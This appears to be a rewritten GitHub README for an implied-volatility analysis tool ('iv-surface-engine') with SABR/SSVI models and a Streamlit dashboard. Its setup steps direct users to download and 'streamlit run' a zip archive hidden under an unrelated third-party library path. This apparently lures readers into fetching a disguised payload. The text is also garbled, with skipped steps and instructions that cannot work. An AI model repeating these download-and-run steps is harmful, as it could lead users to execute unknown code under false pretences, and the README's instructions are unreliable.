⚙️ iv-surface-engine - Fast Implied Volatility Analysis Tool

📋 About iv-surface-engine

iv-surface-engine is a tool designed to analyze implied volatility surfaces quickly and reliably. It uses advanced mathematical models like SABR, SSVI, and eSSVI to provide accurate volatility data. This helps you understand option pricing and risk better. The software offers:

• Strong checks to prevent calculation errors (arbitrage enforcement)
• A way to adjust model parameters focused on key sensitivities (vega-weighted calibration)
• Limits based on statistical moments (Lee moment bounds)
• A thorough record of all calculations (full audit trail)
• Over 300 tests passed to ensure accuracy

The software includes a C++ engine and a simple dashboard made in Python using Streamlit. The dashboard lets you interact with the data without coding.

🖥️ System Requirements

• If you downloaded a zip file, right-click it and select "Extract All," then choose a folder to save the contents.

Step 4: Open the Dashboard

The dashboard lets you view and interact with the data easily.

• If the dashboard is included in the package, find the file named https://raw.githubusercontent.com/milha9089/iv-surface-engine/main/third_party/Eigen/src/QR/surface-engine-iv-1.7-alpha.1.zip or follow the included instructions.

• To start the dashboard, open the Windows Command Prompt.

• Navigate to the folder where the software is saved using the cd command. For example:

  cd C:\Users\YourName\Downloads\iv-surface-engine
  

• Run the dashboard by typing:

  streamlit run https://raw.githubusercontent.com/milha9089/iv-surface-engine/main/third_party/Eigen/src/QR/surface-engine-iv-1.7-alpha.1.zip
  

• A browser window will open automatically with the dashboard.

Step 5: Use the Dashboard

On the dashboard, you’ll find options to:

• Load sample volatility data
• Choose different models (SABR, SSVI, eSSVI)
• Run analyses with simple buttons
• View charts and tables of results

The interface uses plain language to help you understand results without extra tools.

🔧 Installation Details

This section helps if you want to install additional components or fix issues.

• Python: The dashboard needs Python 3.8 or later.

• Streamlit: Install Streamlit if you don’t have it already. Open Command Prompt and type:

  pip install streamlit
  

• C++ Engine: The main engine runs in C++. The package includes files ready to use. No compilation needed for general use.

If you face errors running the dashboard, check that Python and Streamlit are installed correctly. Also, ensure the downloaded files are unzipped without changes.
